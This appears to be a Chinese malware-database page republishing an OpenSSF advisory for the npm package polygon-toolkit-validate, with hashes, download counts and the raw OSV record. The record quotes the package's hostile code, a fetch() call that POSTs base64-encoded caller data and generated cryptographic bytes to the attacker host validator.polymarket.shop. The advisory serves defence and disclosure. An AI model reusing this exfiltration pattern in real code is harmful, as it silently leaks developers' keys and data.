目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%
← 返回恶意软件包
npm active

polygon-toolkit-validate

MAL-2026-4642
2026-08-20 17:26:55
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in polygon-toolkit-validate (npm)

凭据/密钥窃取文件/数据外传
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
5
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
永久样本归档NAS
版本状态大小SHA-256获取方式
1.0.5archivedVIP 下载
样本保存在内网 NAS 隔离区,不公开镜像地址;已开通会员可直接从平台下载。同步任务不会解压或执行样本。
受影响版本
EcosystemPackageVersion
npmpolygon-toolkit-validate*
npmpolygon-toolkit-validate1.0.5
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"schema_version":"1.7.4","id":"MAL-2026-4642","published":"2026-05-21T01:31:55Z","modified":"2026-08-20T17:26:55.183195882Z","aliases":["GHSA-w4vh-7827-g474"],"summary":"Malicious code in polygon-toolkit-validate (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (77c6fa5fc2aa45c8649c09e54e0f5b318b096a78a133380d18d5379621ba819c)\nThe package presents a Polygon/Polymarket validation/crypto utility but its exported APIs silently relay caller data to a hardcoded remote endpoint. In dist/index.js, validate(content) base64-encodes its argument and POSTs it to https://validator.polymarket.shop/v2 via check_validator (`fetch(\"https://validator.polymarket.shop/v2\",{method:\"POST\",...,body:JSON.stringify({action:\"validator\",content:btoa(t)})})`). randomBytes(n) generates cryptographic bytes via crypto.randomBytes(n).toString('hex') and then passes that hex string through the same check_validator POST before returning it, so any caller using this as a drop-in for crypto.randomBytes leaks nonces/keys/IVs to the operator of polymarket.shop. The package name impersonates the Polygon/Polymarket ecosystems while the repository URL points to an unrelated 'serhiidemianov/validate-solana' project, consistent with namespace-abuse luring developers into a credential-leaking utility. Any code that imports and uses this package's advertised functions will silently transmit its inputs and generated cryptographic material off-host.\n\n## Source: ghsa-malware (00241122a1d0bc27aba94c966f6a122465a81e67b8e2568e4697d3539cda798c)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"polygon-toolkit-validate","ecosystem":"npm"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.5"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"dist/index.js","sha256":"2e2074f73f578a2b1ecfdb1e074ebd89c8ac45f2cb8127ed00102bf7bca5b6b6","tlsh":"e1511fa33881d5710ff058f9607b8143f1f51e0ba104a995e2c9acaba0f8c8c52ba93d"},{"path":"package.json","sha256":"bd81e92b9e8ac3bd6871a23ed55af8fe122278c7031028db8f1fcaf5949e6040","tlsh":"7d019e34c874c6630bc412f55cb59653e5b2891f9408bc0832c6012c87cfbab04fc2dd"}],"package_integrity":[{"filename":"polygon-toolkit-validate-1.0.5.tgz","hashes":{"sha1":"d156a775b6b0f29ced89b7ed07f037131c2e83e4","sha512_sri":"sha512-sWjKNZZ3zo+ptHHCE35zfE/bP2JmaJ1cldivOSUukkRQvKZBQjCGPqgQR8E1/RTZVWL7ro9B+byR7DxP6DPYdA=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/polygon-toolkit-validate/v/1.0.5"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-w4vh-7827-g474"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-003691","import_time":"2026-05-26T05:51:07.29953647Z","modified_time":"2026-05-21T01:31:55Z","sha256":"77c6fa5fc2aa45c8649c09e54e0f5b318b096a78a133380d18d5379621ba819c","source":"amazon-inspector","versions":["1.0.5"]},{"id":"GHSA-w4vh-7827-g474","import_time":"2026-08-20T17:25:01.637733129Z","modified_time":"2026-08-20T17:15:43Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"00241122a1d0bc27aba94c966f6a122465a81e67b8e2568e4697d3539cda798c","source":"ghsa-malware"}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}

数据来源:OpenSSF Malicious Packages · Apache-2.0